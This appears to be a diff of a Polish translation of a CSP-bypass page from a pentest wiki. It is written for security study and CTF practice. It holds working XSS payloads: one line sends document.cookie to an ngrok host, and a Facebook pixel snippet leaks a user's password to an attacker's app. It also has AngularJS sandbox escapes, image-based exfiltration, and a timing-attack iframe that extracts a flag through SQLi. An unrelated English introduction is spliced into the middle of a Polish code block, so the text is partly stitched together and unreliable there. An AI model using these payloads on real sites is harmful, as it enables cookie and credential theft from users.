"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
|
@ -318,48 +316,71 @@ Ta sama podatność wystąpi, jeśli **zaufany punkt końcowy zawiera Przekierow
|
||||||
|
|
||||||
### Nadużycia stron trzecich
|
### Nadużycia stron trzecich
|
||||||
|
|
||||||
Jak opisano w [poniższym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen stron trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do wycieku danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
|
Jak opisano w [poniższym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen stron trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do eksfiltracji danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
|
||||||
|
|
||||||
| Podmiot | Dozwolona Domena | Zdolności |
|
| Podmiot | Dozwolona Domena | Zdolności |
|
||||||
| ----------------- | -------------------------------------------- | ------------ |
|
| ----------------- | -------------------------------------------- | ------------ |
|
||||||
| Facebook | www.facebook.com, \*.facebook.com | Wyciek |
|
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracja |
|
||||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Wyciek |
|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracja |
|
||||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Wykonanie |
|
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Wykonanie |
|
||||||
| Amazon CloudFront | \*.cloudfront.net | Wyciek, Wykonanie |
|
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracja, Wykonanie |
|
||||||
| Amazon AWS | \*.amazonaws.com | Wyciek, Wykonanie |
|
| Amazon AWS | \*.amazonaws.com | Eksfiltracja, Wykonanie |
|
||||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Wyciek, Wykonanie |
|
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracja, Wykonanie |
|
||||||
| Salesforce Heroku | \*.herokuapp.com | Wyciek, Wykonanie |
|
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracja, Wykonanie |
|
||||||
| Google Firebase | \*.firebaseapp.com | Wyciek, Wykonanie |
|
| Google Firebase | \*.firebaseapp.com | Eksfiltracja, Wykonanie |
|
||||||
|
|
||||||
Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze stron trzecich i albo wyciekać dane do tej usługi, albo wykonywać kod.
|
Jeśli znajdziesz którąś z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł ominąć CSP, rejestrując się na usłudze stron trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
|
||||||
|
|
||||||
Na przykład, jeśli znajdziesz następujący CSP:
|
Na przykład, jeśli znajdziesz następujący CSP:
|
||||||
```
|
```
|
||||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||||
```
|
```
|
||||||
lub
|
# Bypassing Content Security Policy (CSP)
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a particular page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
|
||||||
|
|
||||||
|
In this section, we will explore various techniques that can be used to bypass CSP protections and execute malicious code on a target web application.
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
|
||||||
|
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
|
||||||
|
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
|
||||||
|
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
|
||||||
|
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
|
||||||
|
- [Bypassing CSP with Hashes](bypassing-csp-hashes.md)
|
||||||
|
|
||||||
|
## Conclusion
|
||||||
|
|
||||||
|
Understanding how CSP works and the potential bypass techniques is crucial for both attackers looking to exploit CSP misconfigurations and defenders looking to secure their web applications against code injection attacks. By familiarizing yourself with the techniques outlined in this section, you can better protect your web applications and infrastructure from CSP bypass vulnerabilities.
|
||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
1. Utwórz konto dewelopera na Facebooku [tutaj](https://developers.facebook.com/).
|
Powinieneś móc wyciekać dane, podobnie jak zawsze było to robione za pomocą [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). W tym przypadku postępuj zgodnie z następującymi ogólnymi krokami:
|
||||||
2. Stwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
|
||||||
3. Przejdź do "Ustawienia -> Podstawowe" i pobierz swoje "ID aplikacji".
|
|
||||||
4. Na stronie docelowej, z której chcesz wyciekać dane, możesz to zrobić bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
|
|
||||||
5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod podobnym adresem URL: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
|
||||||
6. Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez Twoją witrynę.
|
|
||||||
|
|
||||||
Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera atakującego o podanym ID aplikacji i wydał zdarzenie niestandardowe:
|
1. Utwórz konto dewelopera na Facebooku tutaj.
|
||||||
|
2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
||||||
|
3. Przejdź do "Ustawienia -> Podstawowe" i uzyskaj swój "ID aplikacji".
|
||||||
|
4. Na witrynie docelowej, z której chcesz wyciekać dane, możesz wyciekać dane bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
|
||||||
|
5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||||
|
6. Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez stronę internetową "twoją".
|
||||||
|
|
||||||
|
Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera ofiary o identyfikatorze aplikacji i wydał zdarzenie niestandardowe w ten sposób:
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
|
Co do pozostałych siedmiu domen stron trzecich określonych w poprzedniej tabeli, istnieje wiele innych sposobów ich nadużywania. Odniesienie do wcześniejszego [postu na blogu](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) dla dodatkowych wyjaśnień dotyczących innych nadużyć stron trzecich.
|
||||||
|
|
||||||
### Bypass za pomocą RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### Bypass za pomocą RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
Oprócz wspomnianej wcześniej techniki przekierowania do ominięcia ograniczeń ścieżki istnieje inna technika o nazwie Relative Path Overwrite (RPO), która może być użyta na niektórych serwerach.
|
Oprócz wspomnianej wcześniej przekierowania w celu ominięcia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.
|
||||||
|
|
||||||
Na przykład, jeśli CSP zezwala na ścieżkę `https://example.com/scripts/react/`, można ją ominąć w następujący sposób:
|
Na przykład, jeśli CSP zezwala na ścieżkę `https://example.com/scripts/react/`, może zostać ominięta w następujący sposób:
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
|
@ -392,14 +413,14 @@ Jeśli podatna strona jest ładowana z **httpS**, użyj adresu URL httpS w tagu
|
||||||
```
|
```
|
||||||
### Wydarzenia AngularJS
|
### Wydarzenia AngularJS
|
||||||
|
|
||||||
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać wydarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe wydarzenia jako alternatywę. W ramach wydarzenia, AngularJS udostępnia unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt `$event` może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt `$event/event` posiada atrybut `path`, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem `window` zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
|
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia AngularJS dostarcza unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt `$event` może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt `$event/event` posiada atrybut `path`, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem `window` zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
|
||||||
|
|
||||||
Poprzez kierowanie tej tablicy do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Przedstawiony poniżej fragment kodu ilustruje ten proces:
|
Poprzez kierowanie tej tablicy do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Przedstawiony poniżej fragment kodu ilustruje ten proces:
|
||||||
```xml
|
```xml
|
||||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||||
```
|
```
|
||||||
To fragment pokazuje użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzystając z `$event.path|orderBy` do manipulowania tablicą `path`, oraz wykorzystując obiekt `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
To fragment pokazuje użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzystając z `$event.path|orderBy` do manipulacji tablicą `path`, oraz wykorzystując obiekt `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
||||||
|
|
||||||
**Znajdź inne obejścia Angulara na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
**Znajdź inne obejścia Angulara na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||||
|
|
||||||
|
@ -407,11 +428,9 @@ To fragment pokazuje użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzy
|
||||||
```
|
```
|
||||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||||
```
|
```
|
||||||
```plaintext
|
### Bypassowanie zasady CSP whitelistującej domeny do ładowania skryptów w aplikacji Angular JS może być osiągnięte poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||||
Polityka CSP, która uwzględnia domeny do ładowania skryptów w aplikacji Angular JS, może zostać obejścia poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
|
||||||
|
|
||||||
Działające ładunki:
|
Działające ładunki:
|
||||||
```
|
|
||||||
```html
|
```html
|
||||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||||
|
@ -447,9 +466,9 @@ Jeśli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ uwzglę
|
||||||
|
|
||||||
Jednakże, ostateczny `http://localhost:5555/301` zostanie **przekierowany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co umożliwia obejście ograniczenia ścieżki.
|
Jednakże, ostateczny `http://localhost:5555/301` zostanie **przekierowany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co umożliwia obejście ograniczenia ścieżki.
|
||||||
|
|
||||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie ona ominięta.
|
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie obejścia.
|
||||||
|
|
||||||
Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie posiada podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w zasadach CSP.
|
Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie ma żadnych podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.
|
||||||
|
|
||||||
### Ominięcie CSP za pomocą zawieszonego znacznika
|
### Ominięcie CSP za pomocą zawieszonego znacznika
|
||||||
|
|
||||||
|
@ -459,7 +478,7 @@ Przeczytaj [tutaj](../dangling-markup-html-scriptless-injection/).
|
||||||
```
|
```
|
||||||
default-src 'self' 'unsafe-inline'; img-src *;
|
default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
`'unsafe-inline'` oznacza, że można wykonać dowolny skrypt wewnątrz kodu (XSS może wykonać kod), a `img-src *` oznacza, że można użyć na stronie internetowej dowolnego obrazu z dowolnego źródła.
|
`'unsafe-inline'` oznacza, że można wykonać dowolny skrypt wewnątrz kodu (XSS może wykonać kod), a `img-src *` oznacza, że można używać na stronie internetowej dowolnego obrazu z dowolnego źródła.
|
||||||
|
|
||||||
Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wydobywa flagę za pomocą obrazu):
|
Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wydobywa flagę za pomocą obrazu):
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -467,7 +486,7 @@ Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku
|
||||||
```
|
```
|
||||||
Z: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
Z: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||||
|
|
||||||
Możesz również nadużyć tej konfiguracji, aby **załadować kod JavaScript wstawiony wewnątrz obrazu**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera, możesz **stworzyć** **specjalny obraz**, **przesłać** go na Twittera i nadużyć "**unsafe-inline**" do **wykonania** kodu JS (jak w zwykłym XSS), który **załaduje** obraz, **wydobędzie** z niego **JS** i **wykona** go: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
Możesz również nadużyć tej konfiguracji, aby **załadować kod JavaScript wstawiony wewnątrz obrazu**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz **stworzyć** **specjalny obraz**, **przesłać** go na Twittera i nadużyć "**unsafe-inline**" do **wykonania** kodu JS (jak w zwykłym XSS), który **załaduje** obraz, **wydobędzie** z niego **JS** i **wykona** **go**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||||
|
|
||||||
### Z Użyciem Pracowników Usługi
|
### Z Użyciem Pracowników Usługi
|
||||||
|
|
||||||
|
@ -479,11 +498,11 @@ Funkcja **`importScripts`** pracowników usługi nie jest ograniczona przez CSP:
|
||||||
|
|
||||||
### Wstrzykiwanie Polityki
|
### Wstrzykiwanie Polityki
|
||||||
|
|
||||||
**Badania:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
**Badanie:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
Jeśli **parametr** wysłany przez ciebie jest **wklejany do** **deklaracji** **polityki**, możesz **zmienić** **politykę** w taki sposób, że stanie się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** za pomocą któregokolwiek z tych obejść:
|
Jeśli **parametr** wysłany przez ciebie jest **wklejany do** **deklaracji** **polityki**, możesz **zmienić** **politykę** w taki sposób, że staje się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** za pomocą któregokolwiek z tych obejść:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
|
@ -499,9 +518,9 @@ Przykład: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\
|
||||||
### img-src \*; za pomocą XSS (iframe) - Atak czasowy
|
### img-src \*; za pomocą XSS (iframe) - Atak czasowy
|
||||||
|
|
||||||
Zauważ brak dyrektywy `'unsafe-inline'`\
|
Zauważ brak dyrektywy `'unsafe-inline'`\
|
||||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **Twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas potrzebny na załadowanie strony**, możesz wyciągnąć potrzebne informacje.
|
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **Twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas potrzebny na załadowanie strony**, możesz wydobyć potrzebne informacje.
|
||||||
|
|
||||||
Tym razem **flaga** zostanie wyciągnięta, za każdym razem gdy **poprawnie zgadniesz znak** za pomocą SQLi, **odpowiedź** zajmie **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
|
Tym razem **flaga** zostanie wydobyta, za każdym razem gdy **znak zostanie poprawnie odgadnięty** za pomocą SQLi, **odpowiedź** zajmie **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wydobyć flagę:
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||||
|
@ -563,15 +582,15 @@ run();
|
||||||
```
|
```
|
||||||
### Za pomocą zakładek
|
### Za pomocą zakładek
|
||||||
|
|
||||||
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący **przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod JavaScript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka lub tokeny.
|
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący **przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki**. Ta zakładka będzie zawierać **złośliwy kod JavaScript**, który po przeciągnięciu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka lub tokeny.
|
||||||
|
|
||||||
Aby uzyskać więcej informacji, [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
Aby uzyskać więcej informacji, [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||||
|
|
||||||
### Ominięcie CSP poprzez ograniczenie CSP
|
### Ominięcie CSP poprzez ograniczenie CSP
|
||||||
|
|
||||||
W [**tym rozwiązaniu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest ominięty poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego elementu iframe, który uniemożliwiał załadowanie określonego pliku JS, który następnie, poprzez **zanieczyszczanie prototypu** lub **nadpisywanie DOM**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
W [**tym rozwiązaniu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego iframe, który uniemożliwia załadowanie określonego pliku JS, który następnie za pomocą **zanieczyszczania prototypu** lub **nadpisywania DOM** pozwala na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||||
|
|
||||||
Możesz **ograniczyć CSP elementu iframe** za pomocą atrybutu **`csp`**:
|
Możesz **ograniczyć CSP Iframe** za pomocą atrybutu **`csp`**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```html
|
```html
|
||||||
|
@ -579,8 +598,8 @@ Możesz **ograniczyć CSP elementu iframe** za pomocą atrybutu **`csp`**:
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) było możliwe dzięki **wstrzyknięciu HTML** **ograniczenie** bardziej **CSP**, więc skrypt zapobiegający CSTI został wyłączony, a tym samym **podatność stała się wykorzystywalna.**\
|
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) było możliwe poprzez **wstrzyknięcie HTML** **ograniczenie** **CSP** w taki sposób, że skrypt zapobiegający CSTI został wyłączony, a tym samym **podatność stała się wykorzystywalna.**\
|
||||||
CSP można zrobić bardziej restrykcyjne za pomocą **tagów meta HTML** i skrypty inline mogą być wyłączone **usuwając** **wpis** pozwalający na ich **nonce** i **włączając określony skrypt inline za pomocą sha**:
|
CSP można zrobić bardziej restrykcyjne, używając **metatagów HTML** i skrypty inline mogą być wyłączone **usuwając** **wpis** pozwalający na ich **nonce** i **włączając określony skrypt inline za pomocą sha**:
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||||
'unsafe-eval' 'strict-dynamic'
|
'unsafe-eval' 'strict-dynamic'
|
||||||
|
@ -589,7 +608,7 @@ CSP można zrobić bardziej restrykcyjne za pomocą **tagów meta HTML** i skryp
|
||||||
```
|
```
|
||||||
### Wykradanie danych JS za pomocą Content-Security-Policy-Report-Only
|
### Wykradanie danych JS za pomocą Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (może to być spowodowane CRLF), możesz sprawić, że będzie on wskazywał na twój serwer, a jeśli **opakujesz** zawartość JS, którą chcesz wykraść, w znacznik **`<script>`** i ponieważ bardzo prawdopodobne jest, że `unsafe-inline` nie jest dozwolone przez CSP, spowoduje to **wygenerowanie błędu CSP** i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z `Content-Security-Policy-Report-Only`.
|
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (może to być spowodowane przez CRLF), możesz sprawić, że będzie on wskazywał na twój serwer i jeśli **opakujesz** zawartość **JS**, którą chcesz wykraść, w znaczniki **`<script>`** i ponieważ bardzo prawdopodobne jest, że `unsafe-inline` nie jest dozwolone przez CSP, spowoduje to **błąd CSP** i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z `Content-Security-Policy-Report-Only`.
|
||||||
|
|
||||||
Przykład znajdziesz w [**tym opisie rozwiązania CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
Przykład znajdziesz w [**tym opisie rozwiązania CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||||
|
|
||||||
|
@ -611,7 +630,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||||
```
|
```
|
||||||
Poprzez monitorowanie, które żądania są blokowane lub zezwala na nie przez CSP, można zawęzić możliwe znaki w sekretnym subdomenie, ostatecznie odkrywając pełny URL.
|
Poprzez monitorowanie, które żądania są blokowane lub zezwala na nie przez CSP, można zawęzić możliwe znaki w sekretnym subdomenie, ostatecznie odkrywając pełny URL.
|
||||||
|
|
||||||
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, demonstrując, jak pozornie bezpieczne zasady mogą nieumyślnie ujawniać wrażliwe informacje.
|
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne zasady mogą nieumyślnie ujawnić wrażliwe informacje.
|
||||||
|
|
||||||
Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
|
Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
|
@ -619,14 +638,14 @@ Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||||
|
|
||||||
**Spojrzenie na Hacking**\
|
**Spostrzeżenia Hakerskie**\
|
||||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
|
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerskie
|
||||||
|
|
||||||
**Aktualności z Hackingu na Żywo**\
|
**Aktualności Hakerskie na Żywo**\
|
||||||
Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i spojrzeniom na żywo
|
Bądź na bieżąco z szybkim światem hakerskim dzięki aktualnościom i spostrzeżeniom na żywo
|
||||||
|
|
||||||
**Najnowsze Ogłoszenia**\
|
**Najnowsze Ogłoszenia**\
|
||||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
